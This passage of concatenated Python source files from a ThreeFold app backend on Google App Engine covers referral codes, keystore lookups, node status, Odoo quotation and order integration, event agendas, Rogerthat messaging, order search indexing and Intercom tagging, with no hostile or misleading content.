pp = ProfilePointer.get_by_user_code(code)
if not code or not pp:
raise ApiCallException(u'Unknown invitation code received')
username = get_username(user_detail)
if username == pp.username:
raise ApiCallException(u'You can\'t use your own invitation code')
my_profile = TffProfile.create_key(username).get() # type: TffProfile
if not my_profile:
raise ApiCallException(u'We were unable to find your profile')
if my_profile.referrer_user:
raise ApiCallException(u'You already set your referrer')
referrer_profile = TffProfile.create_key(pp.username).get()
if not referrer_profile:
raise ApiCallException(u'We were unable to find your referrer\'s profile')
my_profile.referrer_user = referrer_profile.app_user
my_profile.referrer_username = pp.username
my_profile.put()
deferred.defer(add_user_to_role, user_detail, RogerthatRoles.MEMBERS, _transactional=True)
deferred.defer(store_referral_in_user_data, my_profile.key, _transactional=True)
deferred.defer(notify_new_referral, username, referrer_profile.app_user, _transactional=True)
ndb.transaction(trans, xg=True)
return {u'result': u'You successfully joined the ThreeFold community. Welcome aboard!'}
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/iyo/keystore.py | <filename>plugins/tff_backend/bizz/iyo/keystore.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from mcfw.rpc import returns, arguments, serialize_complex_value
from plugins.tff_backend.bizz.iyo.utils import get_itsyouonline_client_from_username, get_username
from plugins.tff_backend.models.hoster import PublicKeyMapping
from plugins.tff_backend.to.iyo.keystore import IYOKeyStoreKey
from plugins.tff_backend.utils import convert_to_str
@returns(IYOKeyStoreKey)
@arguments(username=unicode, data=IYOKeyStoreKey)
def create_keystore_key(username, data):
client = get_itsyouonline_client_from_username(username)
data = serialize_complex_value(data, IYOKeyStoreKey, False, skip_missing=True)
result = client.users.SaveKeyStoreKey(data, convert_to_str(username))
return IYOKeyStoreKey(**result.json())
@returns([IYOKeyStoreKey])
@arguments(username=unicode)
def get_keystore(username):
client = get_itsyouonline_client_from_username(username)
result = client.users.GetKeyStore(convert_to_str(username))
return [IYOKeyStoreKey(**key) for key in result.json()]
def get_publickey_label(public_key, user_details):
# type: (unicode, UserDetailsTO) -> unicode
mapping = PublicKeyMapping.create_key(public_key, user_details.email).get()
if mapping:
return mapping.label
else:
logging.error('No PublicKeyMapping found! falling back to doing a request to itsyou.online')
iyo_keys = get_keystore(get_username(user_details))
results = filter(lambda k: public_key in k.key, iyo_keys) # some stuff is prepended to the key
if len(results):
return results[0].label
else:
logging.error('Could not find label for public key %s on itsyou.online', public_key)
return None
|
threefoldfoundation/app_backend | plugins/tff_backend/api/rogerthat/nodes.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from mcfw.consts import DEBUG
from mcfw.rpc import arguments, returns
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.tff_backend.bizz.global_stats import ApiCallException
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.nodes.stats import get_nodes_for_user, assign_nodes_to_user, \
get_nodes_stats_from_influx
from plugins.tff_backend.models.nodes import Node
@returns([dict])
@arguments(params=dict, user_detail=UserDetailsTO)
def api_get_node_status(params, user_detail):
# type: (dict, UserDetailsTO) -> list[dict]
try:
username = get_username(user_detail)
nodes = Node.list_by_user(username)
if not DEBUG and not nodes:
# fallback, should only happen when user checks his node status before our cron job has ran.
logging.warn('Fetching node serial number from odoo since no nodes where found for user %s',
username)
new_nodes = get_nodes_for_user(username)
if new_nodes:
nodes = assign_nodes_to_user(username, new_nodes)
else:
raise ApiCallException(
u'It looks like you either do not have a node yet or it has never been online yet.')
return get_nodes_stats_from_influx(nodes)
except ApiCallException:
raise
except Exception as e:
logging.exception(e)
raise ApiCallException(u'Could not get node status. Please try again later.')
|
threefoldfoundation/app_backend | plugins/tff_backend/models/audit.py | <filename>plugins/tff_backend/models/audit.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.ext import ndb
from framework.models.common import NdbModel
from plugins.tff_backend.plugin_consts import NAMESPACE
class AuditLog(NdbModel):
NAMESPACE = NAMESPACE
timestamp = ndb.DateTimeProperty(auto_now_add=True)
audit_type = ndb.StringProperty()
reference = ndb.KeyProperty() # type: ndb.Key
user_id = ndb.StringProperty()
data = ndb.JsonProperty(compressed=True)
@classmethod
def list_by_type(cls, audit_type):
return cls.query(cls.audit_type == audit_type).order(-cls.timestamp)
@classmethod
def list_by_user(cls, user_id):
return cls.query(cls.user_id == user_id).order(-cls.timestamp)
@classmethod
def list(cls):
return cls.query().order(-cls.timestamp)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/odoo.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import datetime
import logging
import xmlrpclib
from google.appengine.api import urlfetch
import erppeek
from dateutil import relativedelta
from enum import Enum
from framework.plugin_loader import get_config
from mcfw.rpc import returns, arguments
from plugins.tff_backend.plugin_consts import NAMESPACE
class QuotationState(Enum):
CANCEL = 'cancel'
# GAEXMLRPCTransport is copied from
# http://brizzled.clapper.org/blog/2008/08/25/making-xmlrpc-calls-from-a-google-app-engine-application/
class GAEXMLRPCTransport(object):
"""Handles an HTTP transaction to an XML-RPC server."""
def __init__(self, secure=False):
self.secure = secure
def request(self, host, handler, request_body, verbose=0):
url = '%s://%s%s' % ('https' if self.secure else 'http', host, handler)
try:
response = urlfetch.fetch(url,
payload=request_body,
method=urlfetch.POST,
headers={'Content-Type': 'text/xml'})
except:
msg = 'Failed to fetch %s' % url
logging.error(msg)
raise xmlrpclib.ProtocolError(host + handler, 500, msg, {})
if response.status_code != 200:
logging.error('%s returned status code %s' %
(url, response.status_code))
raise xmlrpclib.ProtocolError(host + handler,
response.status_code,
"",
response.headers)
else:
result = self.__parse_response(response.content)
return result
def __parse_response(self, response_body):
p, u = xmlrpclib.getparser(use_datetime=False)
p.feed(response_body)
return u.close()
def _get_erp_client(cfg):
return erppeek.Client(cfg.odoo.url, cfg.odoo.database, cfg.odoo.username, cfg.odoo.password,
transport=GAEXMLRPCTransport(secure='https' in cfg.odoo.url))
def _save_customer(erp_client, customer):
# type: (erppeek.Client, object) -> tuple
res_partner_model = erp_client.model('res.partner')
contact = {
'type': u'contact',
'name': customer['billing']['name'],
'email': customer['billing']['email'],
'phone': customer['billing']['phone'],
'street': customer['billing']['address']
}
partner_contact = res_partner_model.create(contact)
logging.debug("Created res.partner (contact) with id %s", partner_contact.id)
if not customer['shipping']:
return partner_contact.id, None
delivery = {
'parent_id': partner_contact.id,
'type': u'delivery',
'name': customer['shipping']['name'],
'email': customer['shipping']['email'],
'phone': customer['shipping']['phone'],
'street': customer['shipping']['address']
}
partner_delivery = res_partner_model.create(delivery)
logging.debug("Created res.partner (delivery) with id %s", partner_delivery.id)
return partner_contact.id, partner_delivery.id
def _create_quotation(cfg, erp_client, billing_id, shipping_id, product_id):
sale_order_model = erp_client.model('sale.order')
sale_order_line_model = erp_client.model('sale.order.line')
validity_date = (datetime.datetime.now() + relativedelta.relativedelta(months=1)).strftime('%Y-%m-%d')
order_data = {
'partner_id': billing_id,
'partner_shipping_id': shipping_id or billing_id,
'state': 'sent',
'incoterm': cfg.odoo.incoterm,
'payment_term': cfg.odoo.payment_term,
'validity_date': validity_date
}
order = sale_order_model.create(order_data)
logging.debug("Created sale.order with id %s", order.id)
order_line_data = {
'order_id': order.id,
'order_partner_id': billing_id,
'product_uos_qty': 1,
'product_uom': 1,
'product_id': product_id,
'state': 'draft'
}
sale_order_line = sale_order_line_model.create(order_line_data)
logging.debug("Created sale.order.line with id %s", sale_order_line.id)
return order.id, order.name
def create_odoo_quotation(billing_info, shipping_info, product_id):
logging.info('Creating quotation: \nbilling_info: %s\nshipping_info: %s\nproduct_id: %s', billing_info,
shipping_info, product_id)
cfg = get_config(NAMESPACE)
erp_client = _get_erp_client(cfg)
customer = {
'billing': {
'name': billing_info.name,
'email': billing_info.email,
'phone': billing_info.phone,
'address': billing_info.address
},
'shipping': None
}
if shipping_info and shipping_info.name and shipping_info.email and shipping_info.phone and shipping_info.address:
customer['shipping'] = {
'name': shipping_info.name,
'email': shipping_info.email,
'phone': shipping_info.phone,
'address': shipping_info.address
}
billing_id, shipping_id = _save_customer(erp_client, customer)
return _create_quotation(cfg, erp_client, billing_id, shipping_id, product_id)
def update_odoo_quotation(order_id, order_data):
# type: (long, dict) -> None
cfg = get_config(NAMESPACE)
erp_client = _get_erp_client(cfg)
sale_order = erp_client.model('sale.order').browse(order_id)
try:
logging.info('Updating sale.order %s with data %s', order_id, order_data)
sale_order.write(order_data)
except xmlrpclib.Fault as e:
# Sale order has been deleted on odoo, ignore in case the state was 'cancel'
if 'MissingError' not in e.faultCode or order_data.get('state') != QuotationState.CANCEL:
raise e
def confirm_odoo_quotation(order_id):
# type: (long) -> bool
cfg = get_config(NAMESPACE)
erp_client = _get_erp_client(cfg)
result = erp_client.execute('sale.order', 'action_button_confirm', [order_id])
logging.info('action_button_confirm result: %s', result)
return result
@returns([dict])
@arguments(order_id=long)
def get_nodes_from_odoo(order_id):
cfg = get_config(NAMESPACE)
erp_client = _get_erp_client(cfg)
sale_order_model = erp_client.model('sale.order')
stock_picking_model = erp_client.model('stock.picking')
stock_move_model = erp_client.model('stock.move')
stock_production_lot_model = erp_client.model('stock.production.lot')
sale_order = sale_order_model.browse(order_id)
nodes = []
for picking_id in sale_order.picking_ids.id:
stock_picking = stock_picking_model.browse(picking_id)
for move_line in stock_picking.move_lines.id:
stock_move = stock_move_model.browse(move_line)
for lot in stock_move.lot_ids:
serial_number = lot.name
stock_production_lot = stock_production_lot_model.browse(lot.id)
if stock_production_lot.product_id.id in cfg.odoo.product_ids.values() and stock_production_lot.ref:
nodes.append({'id': stock_production_lot.ref, 'serial_number': serial_number})
return nodes
def get_serial_number_by_node_id(node_id):
# type: (unicode) -> unicode
cfg = get_config(NAMESPACE)
erp_client = _get_erp_client(cfg)
try:
model = erp_client.model('stock.production.lot').browse([('ref', '=', node_id)])
if model:
return model[0].name
# Equivalent of erp_client.read('stock.production.lot', [('ref', '=', node_id)])
except Exception as e:
logging.exception(e.message)
return None
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_013_migrate_users.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from google.appengine.api import users
from google.appengine.ext import ndb
from plugins.rogerthat_api.api import friends
from plugins.rogerthat_api.to.friends import ServiceFriendTO
from plugins.tff_backend.bizz import get_tf_token_api_key
from plugins.tff_backend.models.user import TffProfile, TffProfileInfo
from plugins.tff_backend.utils.app import get_human_user_from_app_user
def migrate(dry_run=False):
return migrate_profiles(dry_run)
def migrate_profiles(dry_run):
from plugins.its_you_online_auth.models import Profile
profiles = Profile.query().fetch(None)
keys = [TffProfile.create_key(profile.username) for profile in profiles]
tff_profiles = {p.username: p for p in ndb.get_multi(keys) if p}
rogerthat_friends = {f.email: f for f in friends.list(get_tf_token_api_key()).friends}
to_put = []
missing_profiles = []
not_friends = []
for profile in profiles:
tff_profile = tff_profiles.get(profile.username) # type: TffProfile
user_email = get_human_user_from_app_user(users.User(profile.app_email)).email()
rogerthat_friend = rogerthat_friends.get(user_email) # type: ServiceFriendTO
if not tff_profile:
missing_profiles.append(profile.username)
continue
if not tff_profile.info:
tff_profile.info = TffProfileInfo()
tff_profile.info.email = profile.email
tff_profile.info.name = profile.full_name
if rogerthat_friend:
if not tff_profile.info.name:
tff_profile.info.name = rogerthat_friend.name
tff_profile.info.language = rogerthat_friend.language
tff_profile.info.avatar_url = rogerthat_friend.avatar
else:
not_friends.append(profile)
to_put.append(tff_profile)
if not dry_run:
ndb.put_multi(to_put)
return {
'missing_profiles': missing_profiles,
'not_friends': not_friends,
'to_put': to_put
}
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/agenda.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import datetime
import logging
from google.appengine.ext import ndb, deferred
import dateutil
from dateutil.relativedelta import relativedelta
from framework.consts import DAY
from mcfw.consts import MISSING
from mcfw.exceptions import HttpNotFoundException
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.api import system
from plugins.tff_backend.bizz import get_tf_token_api_key
from plugins.tff_backend.models.agenda import Event, EventParticipant
from plugins.tff_backend.models.user import TffProfile
from plugins.tff_backend.to.agenda import EventTO, EventParticipantListTO, \
EventParticipantTO
def list_events(past=False):
return Event.list_by_past(past)
@returns(Event)
@arguments(event_id=(int, long))
def get_event(event_id):
event = Event.create_key(event_id).get()
if not event:
raise HttpNotFoundException('event_not_found', {'event_id': event_id})
return event
@returns(EventParticipantListTO)
@arguments(event_id=long, cursor=unicode, page_size=long)
def list_participants(event_id, cursor=None, page_size=50):
qry = EventParticipant.list_by_event(event_id)
results, cursor, more = qry.fetch_page(page_size, cursor=cursor)
profiles = {p.username: p for p in ndb.get_multi([TffProfile.create_key(r.username) for r in results])}
list_result = EventParticipantListTO(cursor=cursor and cursor.to_websafe_string(),
more=more,
results=[])
for result in results:
to = EventParticipantTO.from_model(result)
profile = profiles.get(result.username)
to.user = profile and profile.to_dict()
list_result.results.append(to)
return list_result
@ndb.transactional()
@returns(Event)
@arguments(event=EventTO)
def put_event(event):
# type: (EventTO) -> Event
model = Event(past=False) if event.id is MISSING else Event.get_by_id(event.id)
args = event.to_dict(exclude=['id'])
args.update(
start_timestamp=dateutil.parser.parse(event.start_timestamp.replace('Z', '')),
end_timestamp=None if event.end_timestamp in (None, MISSING) else dateutil.parser.parse(
event.end_timestamp.replace('Z', ''))
)
model.populate(**args)
model.put()
logging.info('Event created/updated: %s', model)
deferred.defer(put_agenda_app_data, _transactional=True, _countdown=2)
return model
def put_agenda_app_data():
data = {'agenda_events': [event.to_dict() for event in Event.list()]}
system.put_service_data(get_tf_token_api_key(), data)
system.publish_changes(get_tf_token_api_key())
@returns([Event])
@arguments()
def update_expired_events():
now = datetime.datetime.now()
updated = []
for e in Event.list_expired(now):
end_timestamp = e.end_timestamp or e.start_timestamp + relativedelta(seconds=DAY / 2)
if end_timestamp < now:
e.past = True
updated.append(e)
if updated:
logging.info('Updating %s event(s): %s', len(updated), [e.id for e in updated])
ndb.put_multi(updated)
deferred.defer(put_agenda_app_data, _countdown=2)
return updated
|
threefoldfoundation/app_backend | plugins/tff_backend/api/flow_statistics.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.authentication import Scopes
from plugins.tff_backend.bizz.flow_statistics import list_flow_runs, list_distinct_flows, get_flow_run
@rest('/flow-statistics/flows', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns([unicode])
@arguments()
def api_list_distinct_flows():
return list_distinct_flows()
@rest('/flow-statistics', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns(dict)
@arguments(flow_name=unicode, min_date=unicode, page_size=(int, long), cursor=unicode)
def api_list_flow_runs(flow_name=None, min_date=None, cursor=None, page_size=50):
results, cursor, more = list_flow_runs(cursor, page_size, flow_name, min_date)
return {
'cursor': cursor and cursor.to_websafe_string(),
'more': more,
'results': [r.to_dict(exclude={'steps'}) for r in results]
}
@rest('/flow-statistics/details/<flow_run_id:[^/]+>', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns(dict)
@arguments(flow_run_id=unicode)
def api_get_flow_run(flow_run_id):
return get_flow_run(flow_run_id).to_dict()
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/rogerthat.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import json
import logging
from google.appengine.api import users
from mcfw.rpc import arguments, returns
from plugins.rogerthat_api.api import system, messaging, RogerthatApiException
from plugins.rogerthat_api.to import MemberTO
from plugins.rogerthat_api.to.messaging import Message, AnswerTO
from plugins.rogerthat_api.to.messaging.service_callback_results import TYPE_FLOW, FlowCallbackResultTypeTO, \
FlowMemberResultCallbackResultTO
from plugins.tff_backend.bizz import get_tf_token_api_key
from plugins.tff_backend.bizz.service import get_main_branding_hash
from plugins.tff_backend.plugin_consts import FLOW_ERROR_MESSAGE
from plugins.tff_backend.utils.app import get_app_user_tuple
def put_user_data(api_key, user_email, app_id, updated_user_data, retry=True):
# type: (unicode, unicode, unicode, dict, bool) -> None
try:
system.put_user_data(api_key, user_email, app_id, updated_user_data)
except RogerthatApiException as e:
if retry and e.code == 60011: # user not in friend list
raise Exception(e.message) # ensure task is retried
raise
@returns(unicode)
@arguments(member=MemberTO, message=unicode, answers=(None, [AnswerTO]), flags=(int, long), api_key=unicode)
def send_rogerthat_message(member, message, answers=None, flags=None, api_key=None):
# type: (MemberTO, unicode, list[AnswerTO], int, unicode) -> unicode
flags = flags if flags is not None else Message.FLAG_AUTO_LOCK
if not answers:
flags = flags | Message.FLAG_ALLOW_DISMISS
answers = []
return messaging.send(api_key=api_key or get_tf_token_api_key(),
parent_message_key=None,
members=[member],
message=message,
answers=answers or [],
flags=flags,
alert_flags=Message.ALERT_FLAG_VIBRATE,
branding=get_main_branding_hash(),
tag=None)
@returns(unicode)
@arguments(member=(MemberTO, users.User), flow=unicode)
def send_rogerthat_flow(member, flow):
if isinstance(member, users.User):
human_user, app_id = get_app_user_tuple(member)
member = MemberTO(member=human_user.email(), app_id=app_id, alert_flags=Message.ALERT_FLAG_VIBRATE)
messaging.start_local_flow(api_key=get_tf_token_api_key(),
xml=None,
members=[member],
flow=flow)
def create_error_message(message=None):
logging.debug('Sending error message')
if not message:
message = u'Oh no! An error occurred.\nHow embarrassing :-(\n\nPlease try again later.'
result = FlowCallbackResultTypeTO(flow=FLOW_ERROR_MESSAGE,
tag=None,
force_language=None,
flow_params=json.dumps({'message': message}))
return FlowMemberResultCallbackResultTO(type=TYPE_FLOW, value=result)
|
threefoldfoundation/app_backend | plugins/tff_backend/dal/node_orders.py | <reponame>threefoldfoundation/app_backend<gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from datetime import datetime
from google.appengine.api import search
from google.appengine.api.search import SortExpression
from google.appengine.ext import ndb
from framework.bizz.job import run_job, MODE_BATCH
from mcfw.exceptions import HttpNotFoundException
from mcfw.rpc import returns, arguments
from plugins.tff_backend.consts.hoster import NODE_ORDER_SEARCH_INDEX
from plugins.tff_backend.models.hoster import NodeOrder
from plugins.tff_backend.plugin_consts import NAMESPACE
from plugins.tff_backend.utils.search import remove_all_from_index
NODE_ORDER_INDEX = search.Index(NODE_ORDER_SEARCH_INDEX, namespace=NAMESPACE)
@returns(NodeOrder)
@arguments(order_id=(int, long))
def get_node_order(order_id):
# type: (int) -> NodeOrder
order = NodeOrder.get_by_id(order_id)
if not order:
raise HttpNotFoundException('order_not_found')
return order
def index_all_node_orders():
remove_all_from_index(NODE_ORDER_INDEX)
run_job(_get_all_node_orders, [], multi_index_node_order, [], mode=MODE_BATCH, batch_size=200)
def _get_all_node_orders():
return NodeOrder.query()
def index_node_order(order):
# type: (NodeOrder) -> list[search.PutResult]
logging.info('Indexing node order %s', order.id)
document = create_node_order_document(order)
return NODE_ORDER_INDEX.put(document)
def multi_index_node_order(order_keys):
logging.info('Indexing %s node orders', len(order_keys))
orders = ndb.get_multi(order_keys) # type: list[NodeOrder]
return NODE_ORDER_INDEX.put([create_node_order_document(order) for order in orders])
def create_node_order_document(order):
order_id_str = '%s' % order.id
fields = [
search.AtomField(name='id', value=order_id_str),
search.AtomField(name='socket', value=order.socket),
search.NumberField(name='so', value=order.odoo_sale_order_id or -1),
search.NumberField(name='status', value=order.status),
search.DateField(name='order_time', value=datetime.utcfromtimestamp(order.order_time)),
search.TextField(name='username', value=order.username),
]
if order.shipping_info:
fields.extend([search.TextField(name='shipping_name', value=order.shipping_info.name),
search.TextField(name='shipping_email', value=order.shipping_info.email),
search.TextField(name='shipping_phone', value=order.shipping_info.phone),
search.TextField(name='shipping_address', value=order.shipping_info.address.replace('\n', ''))])
if order.billing_info:
fields.extend([search.TextField(name='billing_name', value=order.billing_info.name),
search.TextField(name='billing_email', value=order.billing_info.email),
search.TextField(name='billing_phone', value=order.billing_info.phone),
search.TextField(name='billing_address', value=order.billing_info.address.replace('\n', ''))])
return search.Document(order_id_str, fields)
def search_node_orders(query=None, page_size=20, cursor=None):
# type: (unicode, int, unicode) -> tuple[list[NodeOrder], search.Cursor, bool]
options = search.QueryOptions(limit=page_size,
cursor=search.Cursor(cursor),
ids_only=True,
sort_options=search.SortOptions(
expressions=[SortExpression(expression='order_time',
direction=SortExpression.DESCENDING)]))
search_results = NODE_ORDER_INDEX.search(search.Query(query, options=options)) # type: search.SearchResults
results = search_results.results # type: list[search.ScoredDocument]
node_orders = ndb.get_multi([NodeOrder.create_key(long(result.doc_id)) for result in results])
return node_orders, search_results.cursor, search_results.cursor is not None
def list_node_orders_by_user(username):
return NodeOrder.list_by_user(username)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/intercom_helpers.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from types import NoneType
from enum import Enum
from framework.plugin_loader import get_plugin, get_config
from intercom import ResourceNotFound
from intercom.tag import Tag
from intercom.user import User
from mcfw.rpc import arguments, returns
from plugins.intercom_support.intercom_support_plugin import IntercomSupportPlugin
from plugins.intercom_support.plugin_consts import NAMESPACE as INTERCOM_NAMESPACE
from plugins.tff_backend.models.user import TffProfile
from plugins.tff_backend.plugin_consts import NAMESPACE
class IntercomTags(Enum):
HOSTER = 'Hoster'
ITFT_PURCHASER = 'iTFT Purchaser'
TFT_PURCHASER = 'TFT Purchaser'
ITO_INVESTOR = 'ITO Investor'
APP_REGISTER = 'appregister'
BETTERTOKEN_CONTRACT = 'Bettertoken contract'
GREENITGLOBE_CONTRACT = 'GreenITGlobe contract'
def get_intercom_plugin():
intercom_plugin = get_plugin(INTERCOM_NAMESPACE) # type: IntercomSupportPlugin
if intercom_plugin:
assert isinstance(intercom_plugin, IntercomSupportPlugin)
return intercom_plugin
@returns(User)
@arguments(username=unicode, profile=(TffProfile, NoneType))
def upsert_intercom_user(username, profile=None):
# type: (unicode, TffProfile) -> User
intercom_plugin = get_intercom_plugin()
def _upsert(username, profile):
# type: (unicode, TffProfile) -> User
return intercom_plugin.upsert_user(username, profile.info.name, profile.info.email, None)
if profile:
return _upsert(username, profile)
else:
try:
return intercom_plugin.get_user(user_id=username)
except ResourceNotFound:
return _upsert(username, TffProfile.create_key(username).get())
def send_intercom_email(iyo_username, subject, message):
intercom_plugin = get_intercom_plugin()
if intercom_plugin:
from_ = {'type': 'admin', 'id': get_config(NAMESPACE).intercom_admin_id}
to_user = upsert_intercom_user(iyo_username)
if to_user.unsubscribed_from_emails:
logging.warning('Not sending email via intercom, user %s is unsubscribed from emails.', to_user.id)
return None
to = {'type': 'user', 'id': to_user.id}
return intercom_plugin.send_message(from_, message, message_type='email', subject=subject, to=to)
logging.debug('Not sending email with subject "%s" via intercom because intercom plugin was not found', subject)
return None
@returns(Tag)
@arguments(tag=(IntercomTags, unicode), iyo_usernames=[unicode])
def tag_intercom_users(tag, iyo_usernames):
if isinstance(tag, IntercomTags):
tag = tag.value
users = [{'user_id': username} for username in iyo_usernames]
return get_intercom_plugin().tag_users(tag, users)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/todo/investor.py | <reponame>threefoldfoundation/app_backend<filename>plugins/tff_backend/bizz/todo/investor.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
class InvestorSteps(object):
DOWNLOAD = 'DOWNLOAD'
ITO_INVITES = 'ITO_INVITES'
FLOW_INIT = 'FLOW_INIT'
FLOW_AMOUNT = 'FLOW_AMOUNT'
FLOW_SIGN = 'FLOW_SIGN'
PAY = 'PAY'
PAY_PROCESS = 'PAY_PROCESS'
ASSIGN_TOKENS = 'ASSIGN_TOKENS'
DESCRIPTIONS = {
DOWNLOAD: 'Download the ThreeFold app',
ITO_INVITES: 'Register using an invitation code',
FLOW_INIT: 'Initiate “purchase iTokens” in the TF app',
FLOW_AMOUNT: 'Select currency and how much you want to invest',
FLOW_SIGN: 'Sign the purchase agreement',
PAY: 'We send you payment information',
PAY_PROCESS: 'We process the payment',
ASSIGN_TOKENS: 'Tokens are assigned',
}
@classmethod
def all(cls):
return [cls.DOWNLOAD,
cls.ITO_INVITES,
cls.FLOW_INIT,
cls.FLOW_AMOUNT,
cls.FLOW_SIGN,
cls.PAY,
cls.PAY_PROCESS,
cls.ASSIGN_TOKENS]
@classmethod
def should_archive(cls, step):
return cls.ASSIGN_TOKENS == step or step is None
@classmethod
def get_name_for_step(cls, step):
if step not in cls.DESCRIPTIONS:
logging.error('Investor description for step \'%s\' not set', step)
return cls.DESCRIPTIONS.get(step, step)
@classmethod
def get_progress(cls, last_checked_step):
checked = False
items = []
for step in reversed(cls.all()):
if not checked and step == last_checked_step:
checked = True
item = {
'id': step,
'name': cls.get_name_for_step(step),
'checked': checked
}
items.append(item)
return {
'id': 'investor',
'name': 'Become a token holder',
'items': list(reversed(items))
}
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/todo/__init__.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
